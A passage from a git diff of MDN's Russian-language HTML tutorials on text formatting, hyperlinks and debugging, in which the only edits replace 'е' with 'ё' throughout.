<code><abbr></code>.</p> </div> <h3 id="Активное_обучение_выделение_аббревиатуры">Активное обучение: выделение аббревиатуры</h3> @@ -560,7 +560,7 @@ textarea.onkeyup = function(){ <p>Крис Миллс, Манчестер, Жестокий Север, РФ</p> </address></pre> -<p>Однако следует помнить, что элемент {{htmlelement ("address")}} предназначен для разметки контактных данных человека, который написал HTML-документ, а не <em>любого </em>адреса. Таким образом, написанное выше было бы корректным только в том случае, если бы Крис написал документ, на котором появляется разметка. Обратите внимание, что следующее также подойдет:</p> +<p>Однако следует помнить, что элемент {{htmlelement ("address")}} предназначен для разметки контактных данных человека, который написал HTML-документ, а не <em>любого </em>адреса. Таким образом, написанное выше было бы корректным только в том случае, если бы Крис написал документ, на котором появляется разметка. Обратите внимание, что следующее также подойдёт:</p> <pre class="brush: html notranslate"><address> <p>Автор страницы — <a href="../authors/chris-mills/">Крис Миллс</a>.</p> @@ -570,7 +570,7 @@ textarea.onkeyup = function(){ <p>Иногда вам понадобится использовать надстрочный или подстрочный индекс при разметке таких вещей, как даты, химические формулы и математические уравнения, чтобы они имели правильное представление. Элементы {{htmlelement ("sup")}} и {{htmlelement ("sub")}} созданы для таких ситуаций.</p> -<p>Приведем пример:</p> +<p>Приведём пример:</p> <pre class="brush: html notranslate"><p>Я просыпаюсь в 6<sup>35</sup> часов утра.</p> <p>Химическая формула кофеина: C<sub>8</sub>H<sub>10</sub>N<sub>4</sub>O<sub>2</sub>.</p> @@ -591,8 +591,8 @@ textarea.onkeyup = function(){ <ul> <li>{{htmlelement("code")}}: Для разметки общих частей компьютерного кода.</li> <li>{{htmlelement("pre")}}: Для сохранения пробелов (как правило, кодовых блоков) — если вы используете отступы или лишние пробелы внутри вашего текста, браузеры будут игнорировать его, и вы не увидите его на вашей отображаемой странице; если вы поместите текст в теги <code><pre></pre></code>, то ваши пробелы будут отображаться идентично тому, как вы видите текст в редакторе.</li> - <li>{{htmlelement("var")}}: Для конкретной маркировки имен переменных.</li> - <li>{{htmlelement("kbd")}}: Для маркировки вывода компьютерной программы. Для маркировки ввода клавиатуры (и других типов), введенного в компьютер.</li> + <li>{{htmlelement("var")}}: Для конкретной маркировки имён переменных.</li> + <li>{{htmlelement("kbd")}}: Для маркировки вывода компьютерной программы. Для маркировки ввода клавиатуры (и других типов), введённого в компьютер.</li> <li>{{htmlelement("samp")}}: Для маркировки вывода компьютерной программы.</li> </ul> @@ -615,7 +615,7 @@ para.onclick = function() { <samp>PING mozilla.org (63.245.215.20): 56 data bytes 64 bytes from 63.245.215.20: icmp_seq=0 ttl=40 time=158.233 ms</samp></pre></pre> -<p>Вышеприведенный код будет выглядеть так:</p> +<p>Вышеприведённый код будет выглядеть так:</p> <p>{{ EmbedLiveSample('Representing_computer_code','100%',300, "", "", "hide-codepen-jsfiddle") }}</p> @@ -640,7 +640,7 @@ para.onclick = function() { <p>Но эти разные формы не могут быть легко распознаны компьютерами — что, если вы хотите автоматически захватить даты всех событий на странице и вставить их в календарь? Элемент {{htmlelement ("time")}} позволяет прикрепить к этой цели однозначное машиночитаемое время / дату.</p> -<p>В приведенном выше базовом примере приведена простая машиносчитываемая дата, но есть много других возможных вариантов, например:</p> +<p>В приведённом выше базовом примере приведена простая машиносчитываемая дата, но есть много других возможных вариантов, например:</p> <pre class="brush: html notranslate"><!-- Стандартная дата --> <<span class="pl-ent">time</span> <span class="pl-e">datetime</span>=<span class="pl-s"><span class="pl-pds">"</span>2020-01-20<span class="pl-pds">"</span></span>>20 Января 2020</<span class="pl-ent">time</span>> @@ -657,11 +657,11 @@ para.onclick = function() { <!-- Дата и время со смещением по часовому поясу --> <<span class="pl-ent">time</span> <span class="pl-e">datetime</span>=<span class="pl-s"><span class="pl-pds">"</span>2020-01-20T19:30<span class="pl-pds">+01:00"</span></span>>7.30pm, 20 Января 2020, — это 8.30pm во Франции.</<span class="pl-ent">time</span>> <!-- Вызов номера недели --> -<<span class="pl-ent">time</span> <span class="pl-e">datetime</span>=<span class="pl-s"><span class="pl-pds">"</span>2020-W04<span class="pl-pds">"</span></span>>Четвертая неделя 2020</<span class="pl-ent">time</span>></pre> +<<span class="pl-ent">time</span> <span class="pl-e">datetime</span>=<span class="pl-s"><span class="pl-pds">"</span>2020-W04<span class="pl-pds">"</span></span>>Четвёртая неделя 2020</<span class="pl-ent">time</span>></pre> <h2 id="Заключение">Заключение</h2> -<p>На этом мы подошли к концу нашего изучения семантики текста HTML. Имейте в виду, что то, что вы видели во время этого курса, не является исчерпывающим списком текстовых элементов HTML. Мы попытались охватить основные из них, с которыми вы, скорее всего, столкнетесь в практической деятельности или, по крайней мере, сочтёте их интересными. Чтобы найти больше элементов HTML, вы можете взглянуть на нашу ссылку на <a href="https://developer.mozilla.org/ru/docs/Web/HTML/Element">Элемент</a>. В следующей статье мы рассмотрим элементы HTML, которые вы будете использовать для структурирования различных частей HTML-документа.</p> +<p>На этом мы подошли к концу нашего изучения семантики текста HTML. Имейте в виду, что то, что вы видели во время этого курса, не является исчерпывающим списком текстовых элементов HTML. Мы попытались охватить основные из них, с которыми вы, скорее всего, столкнётесь в практической деятельности или, по крайней мере, сочтёте их интересными. Чтобы найти больше элементов HTML, вы можете взглянуть на нашу ссылку на <a href="https://developer.mozilla.org/ru/docs/Web/HTML/Element">Элемент</a>. В следующей статье мы рассмотрим элементы HTML, которые вы будете использовать для структурирования различных частей HTML-документа.</p> <p>{{PreviousMenuNext ("Learn/HTML/Introduction_to_HTML/Create_hyperlinks", "Learn/HTML/Introduction_to_HTML/Document_and_website_structure", "Learn/HTML/Introduction_to_HTML")}}</p> @@ -672,7 +672,7 @@ para.onclick = function() { <li><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/The_head_metadata_in_HTML">Что такое заголовок? Метаданные в HTML</a></li> <li><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/HTML_text_fundamentals">Основы редактирования текста в HTML</a></li> <li><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/%D0%A1%D0%BE%D0%B7%D0%B4%D0%B0%D0%BD%D0%B8%D0%B5_%D0%B3%D0%B8%D0%BF%D0%B5%D1%80%D1%81%D1%81%D1%8B%D0%BB%D0%BE%D0%BA">Создание гиперссылок</a></li> - <li><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/Advanced_text_formatting">Углубленное форматирование текста</a></li> + <li><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/Advanced_text_formatting">Углублённое форматирование текста</a></li> <li><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/%D0%A1%D1%82%D1%80%D1%83%D0%BA%D1%82%D1%83%D1%80%D0%B0_%D0%B4%D0%BE%D0%BA%D1%83%D0%BC%D0%B5%D0%BD%D1%82%D0%B0_%D0%B8_%D0%B2%D0%B5%D0%B1-%D1%81%D0%B0%D0%B9%D1%82%D0%B0">Структура документа и веб-сайта</a></li> <li><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/Debugging_HTML">Отладка HTML</a></li> <li><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/Marking_up_a_letter">Разметка письма</a></li> diff --git a/files/ru/learn/html/introduction_to_html/creating_hyperlinks/index.html b/files/ru/learn/html/introduction_to_html/creating_hyperlinks/index.html index 6c1090bd2e..67f1ba48b7 100644 --- a/files/ru/learn/html/introduction_to_html/creating_hyperlinks/index.html +++ b/files/ru/learn/html/introduction_to_html/creating_hyperlinks/index.html @@ -74,7 +74,7 @@ original_slug: Learn/HTML/Введение_в_HTML/Создание_гиперс <p>Я создал ссылку на <a class="ignore-external" href="https://www.mozilla.org/ru/" title="Лучшее место для поиска дополнительной информации о миссии Mozilla и о том, как внести свой вклад">домашнюю страницу Mozilla</a>.</p> <div class="note"> -<p><strong>Примечание</strong>: Описание из атрибута title отображается только при наведении курсора, значит люди, полагающиеся на клавиатурные элементы управления для навигации по веб-страницам, будут испытывать трудности с доступом к информации, которую содержит title. Если информация заголовка действительно важна для удобства использования страницы, то вы должны представить ее таким образом, который будет доступен для всех пользователей, например, поместив её в обычный текст.</p> +<p><strong>Примечание</strong>: Описание из атрибута title отображается только при наведении курсора, значит люди, полагающиеся на клавиатурные элементы управления для навигации по веб-страницам, будут испытывать трудности с доступом к информации, которую содержит title. Если информация заголовка действительно важна для удобства использования страницы, то вы должны представить её таким образом, который будет доступен для всех пользователей, например, поместив её в обычный текст.</p> </div> <h3 id="Активное_изучение_создаём_собственную_ссылку">Активное изучение: создаём собственную ссылку</h3> @@ -109,7 +109,7 @@ original_slug: Learn/HTML/Введение_в_HTML/Создание_гиперс <p><img alt="A simple directory structure. The parent directory is called creating-hyperlinks and contains two files called index.html and contacts.html, and two directories called projects and pdfs, which contain an index.html and a project-brief.pdf file, respectively" src="https://mdn.mozillademos.org/files/12409/simple-directory.png" style="display: block; margin: 0 auto;"></p> -<p><strong>Корень</strong> структуры — каталог <code>creating-hyperlinks</code>. При работе на локальном веб-сайте у вас будет один каталог, в который входит весь сайт. В корне у нас есть два файла — <code>index.html</code> и <code>contacts.html</code>. На настоящем веб-сайте <code>index.html</code> был бы нашей домашней, или лендинг-страницей (веб-страницей, которая служит точкой входа для веб-сайта или определенного раздела веб-сайта).</p> +<p><strong>Корень</strong> структуры — каталог <code>creating-hyperlinks</code>. При работе на локальном веб-сайте у вас будет один каталог, в который входит весь сайт. В корне у нас есть два файла — <code>index.html</code> и <code>contacts.html</code>. На настоящем веб-сайте <code>index.html</code> был бы нашей домашней, или лендинг-страницей (веб-страницей, которая служит точкой входа для веб-сайта или определённого раздела веб-сайта).</p> <p>В корне есть ещё два каталога — <code>pdfs</code> и <code>projects</code>. У каждого из них есть один файл внутри — <code>project-brief.pdf</code> и <code>index.html</code>, соответственно. Обратите внимание на то, что вы можете довольно успешно иметь два <code>index.html</code> файла в одном проекте, <span id="result_box" lang="ru"><span>пока они находятся в разных местах файловой системы.</span></span> Многие веб-сайты так делают. Второй <code>index.html</code><span id="result_box" lang="ru"><span>, возможно, будет главной лендинг-страницей для связанной с проектом информации.</span></span></p> @@ -145,7 +145,7 @@ original_slug: Learn/HTML/Введение_в_HTML/Создание_гиперс <h3 id="Фрагменты_документа">Фрагменты документа</h3> -<p>Можно ссылаться на определенную часть документа HTML (известную как <strong>фрагмент документа</strong>), а не только на верхнюю часть документа. Для этого вам сначала нужно назначить атрибут {{htmlattrxref("id")}} элементу, с которым вы хотите связаться. Обычно имеет смысл ссылаться на определённый заголовок, поэтому это выглядит примерно так:</p> +<p>Можно ссылаться на определённую часть документа HTML (известную как <strong>фрагмент документа</strong>), а не только на верхнюю часть документа. Для этого вам сначала нужно назначить атрибут {{htmlattrxref("id")}} элементу, с которым вы хотите связаться. Обычно имеет смысл ссылаться на определённый заголовок, поэтому это выглядит примерно так:</p> <pre class="brush: html notranslate"><h2 id="Почтовый_адрес">Почтовый адрес</h2></pre> @@ -164,7 +164,7 @@ original_slug: Learn/HTML/Введение_в_HTML/Создание_гиперс <h3 id="Абсолютные_и_относительные_URL-адреса">Абсолютные и относительные URL-адреса</h3> -<p>Два понятия, с которыми вы столкнетесь в Интернете, — это <strong>абсолютный URL</strong> и <strong>относительный URL</strong><strong>:</strong></p> +<p>Два понятия, с которыми вы столкнётесь в Интернете, — это <strong>абсолютный URL</strong> и <strong>относительный URL</strong><strong>:</strong></p> <dl> <dt><strong>Абсолютный URL</strong></dt> @@ -189,14 +189,14 @@ original_slug: Learn/HTML/Введение_в_HTML/Создание_гиперс <ul> </ul> -<h3 id="Используйте_четкие_формулировки_описания_ссылок">Используйте четкие формулировки описания ссылок</h3> +<h3 id="Используйте_чёткие_формулировки_описания_ссылок">Используйте чёткие формулировки описания ссылок</h3> <p>На вашей странице легко добавить ссылки. Но этого не совсем достаточно. Мы должны сделать наши ссылки <em>доступными </em>для всех читателей, независимо от их возможностей и инструментов просмотра страницы, которые они предпочитают. Например:</p> <ul> <li>Пользователям программ читающих с экрана нравится переходить по ссылкам на странице, читая адрес ссылки в тексте.</li> - <li>Поисковые системы используют текст ссылки для индексирования файлов, поэтому рекомендуется включать ключевые слова в текст ссылки, чтобы эффективно описывать, куда ведет ссылка.</li> - <li>Пользователи часто бегло просматривают страницу, не читая каждое слово, и их глаза будут привлечены к тексту, который выделяется, например, ссылки. Им будет полезно описание того, куда ведет ссылка.</li> + <li>Поисковые системы используют текст ссылки для индексирования файлов, поэтому рекомендуется включать ключевые слова в текст ссылки, чтобы эффективно описывать, куда ведёт ссылка.</li> + <li>Пользователи часто бегло просматривают страницу, не читая каждое слово, и их глаза будут привлечены к тексту, который выделяется, например, ссылки. Им будет полезно описание того, куда ведёт ссылка.</li> </ul> <p>Взгляните на этот пример:</p> @@ -219,7 +219,7 @@ original_slug: Learn/HTML/Введение_в_HTML/Создание_гиперс <ul> <li>Не пишите URL-адрес как часть текста ссылки. URL-адреса выглядят сложными, а звучат ещё сложнее, когда программы чтения с экрана читают их по буквам.</li> - <li>Не пишите «ссылка» или «ссылки на» в тексте ссылки — это лишнее. Программы чтения с экрана сами проговаривают, что есть ссылка. На экране пользователи также видят, что есть ссылка, потому что ссылки, как правило, оформлены в другом цвете и подчеркнуты (подчёркивая ссылки, вы соблюдаете правила хорошего тона, поскольку пользователи привыкли к этому).</li> + <li>Не пишите «ссылка» или «ссылки на» в тексте ссылки — это лишнее. Программы чтения с экрана сами проговаривают, что есть ссылка. На экране пользователи также видят, что есть ссылка, потому что ссылки, как правило, оформлены в другом цвете и подчёркнуты (подчёркивая ссылки, вы соблюдаете правила хорошего тона, поскольку пользователи привыкли к этому).</li> <li>Следите за тем, чтобы текст ссылки был как можно короче. Длинный текст ссылки особенно раздражает пользователей программ чтения с экрана, которым придётся услышать всё, что написано.</li> <li>Минимизируйте случаи, когда несколько копий одного и того же текста ссылок указывает на разные страницы. Это может вызвать проблемы для пользователей программ чтения с экрана, которые часто вызывают список ссылок — несколько ссылок, помеченных как «нажмите здесь», «нажмите здесь», «нажмите здесь», будут путать.</li> </ul> @@ -235,7 +235,7 @@ original_slug: Learn/HTML/Введение_в_HTML/Создание_гиперс <h3 id="Создавая_ссылки_на_не_HTML_ресурсы_—_добавляйте_описание">Создавая ссылки на не HTML ресурсы — добавляйте описание</h3> -<p>Когда вы создаёте ссылку на файл, нажав на который можно загрузить документ PDF или Word или открыть просмотр видео, прослушивание аудио файла или перейти на страницу с другим, неожиданным для пользователя результатом (всплывающее окно или загрузка Flash-фильма), добавляйте четкую формулировку, чтобы уменьшить путаницу. Отсутствие описания может раздражать пользователя. Приведем пример:</p> +<p>Когда вы создаёте ссылку на файл, нажав на который можно загрузить документ PDF или Word или открыть просмотр видео, прослушивание аудио файла или перейти на страницу с другим, неожиданным для пользователя результатом (всплывающее окно или загрузка Flash-фильма), добавляйте чёткую формулировку, чтобы уменьшить путаницу. Отсутствие описания может раздражать пользователя. Приведём пример:</p> <ul> <li>Если вы используете соединение с низкой пропускной способностью и вдруг нажмёте на ссылку без описания, начнётся загрузка большого файла.</li> @@ -245,7 +245,7 @@ original_slug: Learn/HTML/Введение_в_HTML/Создание_гиперс <p>Посмотрите на примеры, чтобы увидеть, как добавить описание:</p> <pre class="brush: html notranslate"><p><a href="http://www.example.com/large-report.pdf"> - Скачать отчет о продажах (PDF, 10MB) + Скачать отчёт о продажах (PDF, 10MB) </a></p> <p><a href="http://www.example.com/video-stream/"> @@ -256,9 +256,9 @@ original_slug: Learn/HTML/Введение_в_HTML/Создание_гиперс Играть в гонки (необходим Flash) </a></p></pre> -<h3 id="Используйте_атрибут_download_когда_создаете_ссылку">Используйте атрибут download, когда создаете ссылку</h3> +<h3 id="Используйте_атрибут_download_когда_создаёте_ссылку">Используйте атрибут download, когда создаёте ссылку</h3> -<p>Когда создаёте ссылку на файл, который должен быть загружен, а не открыт в браузере, можете использовать атрибут <code>download</code>, чтобы создать имя файла по умолчанию для сохранения . Приведем пример ссылки для загрузки браузера Firefox 39:</p> +<p>Когда создаёте ссылку на файл, который должен быть загружен, а не открыт в браузере, можете использовать атрибут <code>download</code>, чтобы создать имя файла по умолчанию для сохранения . Приведём пример ссылки для загрузки браузера Firefox 39:</p> <pre class="brush: html notranslate"><a href="https://download.mozilla.org/?product=firefox-39.0-SSL&os=win&lang=en-US" download="firefox-39-installer.exe"> @@ -267,7 +267,7 @@ original_slug: Learn/HTML/Введение_в_HTML/Создание_гиперс <h2 id="Активное_изучение_создание_меню_навигации">Активное изучение: создание меню навигации</h2> -<p>Для этого упражнения мы хотим, чтобы вы создали ссылки на страницы в меню навигации в многостраничном сайте. Это один из распространенных способов создания сайта: на каждой странице используется одна и та же структура страниц, включая одно и то же меню навигации, поэтому при нажатии ссылок создается впечатление, что вы остаетесь в одном месте: меню остается на месте, а контент меняется.</p> +<p>Для этого упражнения мы хотим, чтобы вы создали ссылки на страницы в меню навигации в многостраничном сайте. Это один из распространённых способов создания сайта: на каждой странице используется одна и та же структура страниц, включая одно и то же меню навигации, поэтому при нажатии ссылок создаётся впечатление, что вы остаётесь в одном месте: меню остаётся на месте, а контент меняется.</p> <p>Вам нужно скачать или создать следующие страницы в одном каталоге (Смотрите <a href="https://github.com/mdn/learning-area/tree/master/html/introduction-to-html/navigation-menu-start">navigation-menu-start</a>):</p> @@ -281,10 +281,10 @@ original_slug: Learn/HTML/Введение_в_HTML/Создание_гиперс <p>Что делать:</p> <ol> - <li>Добавьте неупорядоченный список в указанном месте в любом html-файле. Список должен состоять из имен страниц (index, projects и т.д.). Меню навигации обычно представляет собой список ссылок, поэтому создание неупорядоченного списка семантически верно.</li> + <li>Добавьте неупорядоченный список в указанном месте в любом html-файле. Список должен состоять из имён страниц (index, projects и т.д.). Меню навигации обычно представляет собой список ссылок, поэтому создание неупорядоченного списка семантически верно.</li> <li>Создайте ссылки каждому элементу списка, ведущие на эти страницы.</li> <li>Скопируйте созданное меню в каждую страницу.</li> - <li>На каждой странице удалите только ссылку, которая указывает на эту же страницу (на странице index.html удалить ссылку index и так далее). Дело в том, что, находясь на странице index.html, нам незачем видеть ссылку в меню на эту же страницу. С одной стороны, нам незачем ещё раз переходить на эту же страницу, с другой, такой прием помогает визуально определить, смотря на меню, в какой части сайта мы находимся.</li> + <li>На каждой странице удалите только ссылку, которая указывает на эту же страницу (на странице index.html удалить ссылку index и так далее). Дело в том, что, находясь на странице index.html, нам незачем видеть ссылку в меню на эту же страницу. С одной стороны, нам незачем ещё раз переходить на эту же страницу, с другой, такой приём помогает визуально определить, смотря на меню, в какой части сайта мы находимся.</li> </ol> <p>Когда закончите задание, посмотрите, как это должно выглядеть:</p> @@ -292,7 +292,7 @@ original_slug: Learn/HTML/Введение_в_HTML/Создание_гиперс <p><img alt="An example of a simple HTML navigation menu, with home, pictures, projects, and social menu items" src="https://mdn.mozillademos.org/files/12411/navigation-example.png" style="display: block; margin: 0 auto;"></p> <div class="note"> -<p>Если не удается сделать, или вы не уверены, что сделали верно, посмотрите наш вариант <a href="https://github.com/mdn/learning-area/tree/master/html/introduction-to-html/navigation-menu-marked-up">navigation-menu-marked-up</a>.</p> +<p>Если не удаётся сделать, или вы не уверены, что сделали верно, посмотрите наш вариант <a href="https://github.com/mdn/learning-area/tree/master/html/introduction-to-html/navigation-menu-marked-up">navigation-menu-marked-up</a>.</p> </div> <h2 id="Ссылки_электронной_почты">Ссылки электронной почты</h2> @@ -345,7 +345,7 @@ original_slug: Learn/HTML/Введение_в_HTML/Создание_гиперс <li><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/The_head_metadata_in_HTML">Что такое заголовок? Метаданные в HTML</a></li> <li><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/HTML_text_fundamentals">Основы редактирования текста в HTML</a></li> <li><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/%D0%A1%D0%BE%D0%B7%D0%B4%D0%B0%D0%BD%D0%B8%D0%B5_%D0%B3%D0%B8%D0%BF%D0%B5%D1%80%D1%81%D1%81%D1%8B%D0%BB%D0%BE%D0%BA">Создание гиперссылок</a></li> - <li><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/Advanced_text_formatting">Углубленное форматирование текста</a></li> + <li><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/Advanced_text_formatting">Углублённое форматирование текста</a></li> <li><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/%D0%A1%D1%82%D1%80%D1%83%D0%BA%D1%82%D1%83%D1%80%D0%B0_%D0%B4%D0%BE%D0%BA%D1%83%D0%BC%D0%B5%D0%BD%D1%82%D0%B0_%D0%B8_%D0%B2%D0%B5%D0%B1-%D1%81%D0%B0%D0%B9%D1%82%D0%B0">Структура документа и веб-сайта</a></li> <li><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/Debugging_HTML">Отладка HTML</a></li> <li><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/Marking_up_a_letter">Разметка письма</a></li> diff --git a/files/ru/learn/html/introduction_to_html/debugging_html/index.html b/files/ru/learn/html/introduction_to_html/debugging_html/index.html index e80ec52b6d..0a64f58205 100644 --- a/files/ru/learn/html/introduction_to_html/debugging_html/index.html +++ b/files/ru/learn/html/introduction_to_html/debugging_html/index.html @@ -31,7 +31,7 @@ original_slug: Learn/HTML/Введение_в_HTML/Debugging_HTML <h2 id="Отладка_—_это_не_страшно">Отладка — это не страшно</h2> -<p>Во время написания какого-нибудь кода, обычно все идет хорошо, пока не появляется тот момент, когда вы совершаете ошибку. Итак, ваш код не работает, или работает не так, как вы задумывали. Если вы попытаетесь скомпилировать неработающую программу на языке <a href="https://www.rust-lang.org/">Rust</a>, компилятор укажет на ошибку:</p> +<p>Во время написания какого-нибудь кода, обычно все идёт хорошо, пока не появляется тот момент, когда вы совершаете ошибку. Итак, ваш код не работает, или работает не так, как вы задумывали. Если вы попытаетесь скомпилировать неработающую программу на языке <a href="https://www.rust-lang.org/">Rust</a>, компилятор укажет на ошибку:</p> <p><img alt="A console window showing the result of trying to compile a rust program with a missing quote around a string in a print statement. The error message reported is error: unterminated double quote string." src="https://mdn.mozillademos.org/files/12435/error-message.png" style="display: block; height: 520px; margin: 0px auto; width: 711px;">В данном случае, сообщение об ошибке понять относительно просто — "unterminated double quote string". Если вы внимательно посмотрите на <code>println!(Hello, world!");</code> , то заметите, что здесь отсутствует двойная кавычка. Разумеется, сообщения об ошибках могут становиться куда более сложными для понимания по мере роста вашего кода, и даже самые простые случаи могут показаться пугающими для тех, кто ничего не знает о Rust.</p> @@ -43,7 +43,7 @@ original_slug: Learn/HTML/Введение_в_HTML/Debugging_HTML <h3 id="Толерантный_код">Толерантный код</h3> -<p>Так что же означает толерантный? В общих чертах, когда вы напортачили в коде, есть два типа ошибок, с которыми вы столкнетесь:</p> +<p>Так что же означает толерантный? В общих чертах, когда вы напортачили в коде, есть два типа ошибок, с которыми вы столкнётесь:</p> <ul> <li><strong>Синтаксические ошибки (Syntax errors)</strong>: Это ошибки в правильности написания, как это было выше, в примере с Rust. Такие обычно легко исправлять, в той мере, в какой вы знакомы с синтаксисом языка и знаете, что означают сообщения об ошибках.</li> @@ -94,7 +94,7 @@ original_slug: Learn/HTML/Введение_в_HTML/Debugging_HTML <li>Используя DOM инспектор, давайте рассмотрим детали нашего кода, чтобы увидеть, как браузер пытается исправить наши ошибки в HTML (мы обозреваем в Firefox; другой современный браузер должен выдать те же результаты): <ul> <li>Параграфы и элементы списка получены с закрывающими тегами.</li> - <li>Было неочевидно, где элемент <code><strong></code> должен был закрыться, так что браузер обернул каждый отдельный блок текста своими собственными тегами strong, причем до самого низа документа!</li> + <li>Было неочевидно, где элемент <code><strong></code> должен был закрыться, так что браузер обернул каждый отдельный блок текста своими собственными тегами strong, причём до самого низа документа!</li> <li>Некорректная вложенность была исправлена браузером следующим образом: <pre class="brush: html"><strong>strong <em>strong emphasised?</em> @@ -115,7 +115,7 @@ original_slug: Learn/HTML/Введение_в_HTML/Debugging_HTML <p>Из примера выше ясно, что стоит проверять валидность HTML. В простом примере сверху можно просто просмотреть весь код и найти ошибки, но как быть с огромными, сложными страницами?</p> -<p>Лучше всего проверить страницу в <a href="https://validator.w3.org/">сервисе валидации разметки</a>. Его создал и поддерживает W3C — организация, которая занимается спецификациями HTML, CSS и других веб-технологий. Сервис проверит ваш HTML и составит отчет по ошибкам в нем.</p> +<p>Лучше всего проверить страницу в <a href="https://validator.w3.org/">сервисе валидации разметки</a>. Его создал и поддерживает W3C — организация, которая занимается спецификациями HTML, CSS и других веб-технологий. Сервис проверит ваш HTML и составит отчёт по ошибкам в нем.</p> <p><img alt="The HTML validator homepage" src="https://mdn.mozillademos.org/files/12441/validator.png" style="display: block; margin: 0 auto;"></p> @@ -138,10 +138,10 @@ original_slug: Learn/HTML/Введение_в_HTML/Debugging_HTML <h4 id="Работа_с_сообщениями_об_ошибках">Работа с сообщениями об ошибках</h4> -<p>Обычно сразу ясно, что значат сообщения, но иногда приходится постараться, чтобы понять, в чем дело. Сейчас мы пройдемся по всем ошибкам и разберем, что они значат. Обратите внимание, что в сообщениях указаны строка и столбец кода, чтобы ошибки было проще искать.</p> +<p>Обычно сразу ясно, что значат сообщения, но иногда приходится постараться, чтобы понять, в чем дело. Сейчас мы пройдёмся по всем ошибкам и разберём, что они значат. Обратите внимание, что в сообщениях указаны строка и столбец кода, чтобы ошибки было проще искать.</p> <ul> - <li>"End tag <code>li</code> implied, but there were open elements" (2 instances): Нет явного закрывающего тега, хотя браузер догадывается, где он должен быть. Сообщение указывает на строку после той, на которой ожидался закрывающий тег, но вы найдете нужное место.</li> + <li>"End tag <code>li</code> implied, but there were open elements" (2 instances): Нет явного закрывающего тега, хотя браузер догадывается, где он должен быть. Сообщение указывает на строку после той, на которой ожидался закрывающий тег, но вы найдёте нужное место.</li> <li>"Unclosed element <code>strong</code>": Это очень простая ошибка — элемент {{htmlelement("strong")}} не закрыт, и сообщение указывает прямо на открывающий тег.</li> <li>"End tag <code>strong</code> violates nesting rules": Элемент неправильно вложен — на этом уровне нет парного открывающего тега.</li> <li>"End of file reached when inside an attribute value. Ignoring tag": Загадочное сообщение. Дело в том, что где-то (скорее всего, в конце документа) неправильно прописано свойство элемента, и конец файла оказался внутри этого свойства. В браузере не видно ссылки — скорее всего, проблема рядом с ней.</li> @@ -155,7 +155,7 @@ original_slug: Learn/HTML/Введение_в_HTML/Debugging_HTML <li>"Unclosed element <code>ul</code>": Странно, ведь элемент {{htmlelement("ul")}} закрыт. Настоящая проблема всё там же — элемент {{htmlelement("a")}} не закрыт из-за недостающей кавычки в свойстве.</li> </ul> -<p>Если некоторые ошибки кажутся вам странными, начните исправление с остальных и проверьте документ еще раз. Иногда одна ошибка ломает большую часть документа.</p> +<p>Если некоторые ошибки кажутся вам странными, начните исправление с остальных и проверьте документ ещё раз. Иногда одна ошибка ломает большую часть документа.</p> <p><span>Когда вы увидите эту надпись, в вашем документе больше нет ошибок:</span></p> @@ -174,7 +174,7 @@ original_slug: Learn/HTML/Введение_в_HTML/Debugging_HTML <li><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/The_head_metadata_in_HTML">Что такое заголовок? Метаданные в HTML</a></li> <li><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/HTML_text_fundamentals">Основы редактирования текста в HTML</a></li> <li><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/%D0%A1%D0%BE%D0%B7%D0%B4%D0%B0%D0%BD%D0%B8%D0%B5_%D0%B3%D0%B8%D0%BF%D0%B5%D1%80%D1%81%D1%81%D1%8B%D0%BB%D0%BE%D0%BA">Создание гиперссылок</a></li> - <li><a 